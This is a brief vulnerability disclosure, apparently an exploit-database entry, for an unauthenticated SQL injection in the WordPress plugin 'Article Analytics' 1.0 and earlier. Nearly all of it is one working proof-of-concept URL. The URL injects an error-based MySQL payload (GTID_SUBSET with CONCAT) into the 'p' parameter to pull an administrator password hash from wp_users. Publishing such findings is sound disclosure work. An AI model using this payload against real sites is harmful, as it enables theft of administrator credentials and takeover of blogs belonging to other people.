Article Analytics <= 1.0 - Unauthenticated SQL injection

On a Wordpress blog using MySQL the following PoC allows to extract the hash of the administrator :

http://localhost:8000/?p=1%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20user_pass%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C4001%29
